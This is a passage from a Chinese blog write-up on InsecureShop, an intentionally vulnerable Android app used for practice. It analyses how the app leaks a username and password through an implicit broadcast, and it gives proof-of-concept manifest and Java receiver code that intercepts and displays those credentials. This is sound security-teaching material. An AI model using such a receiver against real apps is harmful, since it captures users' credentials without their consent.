【Android安全】insecureshop漏洞挖掘-下

本文深入探讨了Android应用中的多种安全漏洞,包括隐式intent发送敏感数据的广播、拦截加载任意URL、导出Activity的不安全SetResult实现、不安全的Content Provider、SSL证书验证缺失以及不安全的日志记录。通过分析源码和编写POC,展示了这些漏洞如何被利用以及潜在的安全风险。
摘要由CSDN通过智能技术生成

漏洞#9 - 使用隐式intent发送带有敏感数据的广播

1.漏洞分析

AboutUsActivity.class
可以看到通过action隐式发送一个广播,内容为用户名和密码
在这里插入图片描述
这个onSendData是如何触发的呢,再次查看源码,发现当前源码文件中并没有直接调用的地方

怀疑可能在其他地方进行了调用,查看布局文件activity_about_us.xml
在布局文件中,button元素onclick事件关联了onSendData方法
在这里插入图片描述

2.poc编写

2.1 poc安卓apk targetSdkVersion <=25-依赖清单中声明

如果目标targetSdkVersion <=25
想要接收隐式广播,可以在androidManifest.xml中声明注册

<receiver>
    android:name=".vul_broadcastReciever.MyReceiver"
    android:enabled="true"
    android:exported="true">
    <intent-filter>
        <action android:name="com.insecureshop.action.BROADCAST"/>
    </intent-filter>
</receiver>

MyReceiver.class

public class MyReceiver extends BroadcastReceiver {
   

    @Override
    public void onReceive(Context context, Intent intent) {
   

        if (intent != null){
   
            String action = intent.getAction();
            if ("com.insecureshop.action.BROADCAST".equals(action)){
   
                String username = intent.getStringExtra("username");
                String password = intent.getStringExtra("password");

                if (username != null && password != null ) {
   
                    // 通过显示intent发送数据到activity中
                    Intent intent1 = new Intent(context,Vul_getDataFromBroadcast.class);
                    intent1.putExtra("username",username);
                    intent1.putExtra("password",password);
                    context.startActivity(intent1);
                }
            }
        }
    }
}

Vul_getDataFromBroadcast.class

// 接收数据
String username = getIntent().getStringExtra("username");
String password = getIntent().getStringExtra("password");

// 在Textview中显示
TextView textView = findViewById(R.id.displayTextView);
String displayText = "username:" + username + "\npassword:" + password;
textView.setText(displayText);

2.2 android8及以上-动态注册接收者

对于 Android 8 (Oreo )及以上版本的应用程序,需要通过在代码中使用 registerReceiver() 动态注册隐式接收者,而不是依赖清单中的声明。

  • 16
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值